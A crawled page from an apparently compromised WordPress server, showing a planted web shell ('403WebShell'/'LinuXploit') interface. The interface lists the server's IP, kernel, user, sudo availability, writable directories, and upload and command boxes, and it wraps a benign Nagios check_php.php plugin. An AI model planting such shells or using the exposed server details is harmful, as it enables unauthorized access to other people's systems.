Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/nagios/libexec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/nagios/libexec/check_php.php
#!/usr/bin/php
<?php


	require_once __DIR__ . '/class_nagios.php';


class PHP_Plugin extends Nagios_Plugin {

	public function __Construct() {
		parent::__construct();
		$this->add_argument('modules', [
			'short'    => '-m',
			'long'	   => '--module',
			'required' => FALSE,
			'help' 	   => 'comma list of expected modules',
			'param'	   => '<list>',
			'default'  => 'zip,libxml,mbstring,openssl,gd,mysqli',		// the essential modules we need
		]);
		// expected php version
	}

	private function _process(&$output, $content) {
		$content = explode("\n", $content);
		foreach($content as $line) {
			$line = trim($line);
			if (substr($line, 0, 1) == '#') continue;

			$line = trim(preg_replace('/\s+/', ' ', $line));
			$elements = explode(' ', $line);
			$action = strtolower($elements[0]);
			if ($action == 'loadmodule') {
				$name = pathinfo($elements[2], PATHINFO_FILENAME);
				$output[] = $name;
			}
		}
	}

	protected function getModuleList($folder) {
		$output = [];
		$list = glob($folder);
		foreach($list as $file) {
			$content = file_get_contents($file);
			$this->_process($output, $content);
		}
		return $output;
	}


	protected function hasPHP($folder) {
		$modules = $this->getModuleList($folder);
		foreach($modules as $mod) {
			if (strpos($mod, 'libphp') !== FALSE) {
				return TRUE;
			}
		}
		return FALSE;
	}

	public function Execute() {
		parent::Execute();				// parse parameters

		// apache php module installed?  

/*		apachectl when run as NAGIOS cannot access all files, so fails
		$output = `apachectl -t -D DUMP_MODULES 2> /dev/null`;
		$ok2 = strpos($output, 'php_module (') !== FALSE;
//		if ($ok2) echo "PHP module installed\n";
*/

		$ok2 = $this->hasPHP('/etc/apache2/mods-enabled/*.load');
		if (!$ok2) $ok2 = $this->hasPHP('/etc/httpd/conf.modules.d/*.conf');

		// fpm installed?
		$output = `ps axo pid,comm`;
		$output = explode("\n", $output);
		$ok1 = FALSE;
		foreach($output as $line) {
			if (strpos($line, 'php-fpm') !== FALSE) {
				$ok1 = TRUE;
				break;
			}
		}
//		if ($ok1) echo "PHP-FPM service running\n";
		
		// php modules to be included
		$output = `/usr/bin/php -m`;			// not for mac
		$output = explode("\n", $output);
		$res = [];
		$key = '';
		foreach($output as $line) {
			$line = trim($line);
			if (substr($line, 0, 1) == '[') {
				$key = preg_match('~\[(.*?)\]~', $line, $match) ? $match[1] : '';
			} elseif ($line != '' && $key != '') {
				$res[$key][] = strtolower($line);
			}
		}
		$res = $res['PHP Modules'] ?? [];

		// Check modules
		$required = explode(',', $this->params['modules']);
		$missing = [];
		foreach($required as $item) {
			$item = strtolower(trim($item));
			if ($item != '') {
				if (!in_array($item, $res)) {
					$missing[] = $item;
				}
			}
		}
		
		// display results
		$status = Nagios_Plugin::RC_OK;
		$statusText = '';
		$this->Status('OK');
		$performance = [];
		
		if ($ok1) {
			$statusText = 'FPM';
			$performance[] = 'php-fpm';
		} elseif ($ok2) {
			$statusText = 'Apache';
			$performance[] = 'libapache2-mod-php';
		} else {
			$statusText = 'missing';
			$this->Status('CRITICAL');
			$status = Nagios_Plugin::RC_CRITICAL;
		}
		if (count($missing)) {
			$statusText = 'Missing: ';
			foreach($missing as $index => $entry) {
				if ($index) $statusText .= ', ';
				$statusText .= $entry;
				$performance[] = $entry;
			}
			$this->Status('CRITICAL');
			$status = Nagios_Plugin::RC_CRITICAL;
		}
		
		return $this->ReturnCode($status)
					->Summary($statusText)
					->PerformanceData(join(', ', $performance));
		
	}
	
}


header('Content-type: text/plain');
$plugin = new PHP_Plugin;
$plugin->Execute();
echo $plugin;
die($plugin->ReturnCode());

Youez - 2016 - github.com/yon3zu
LinuXploit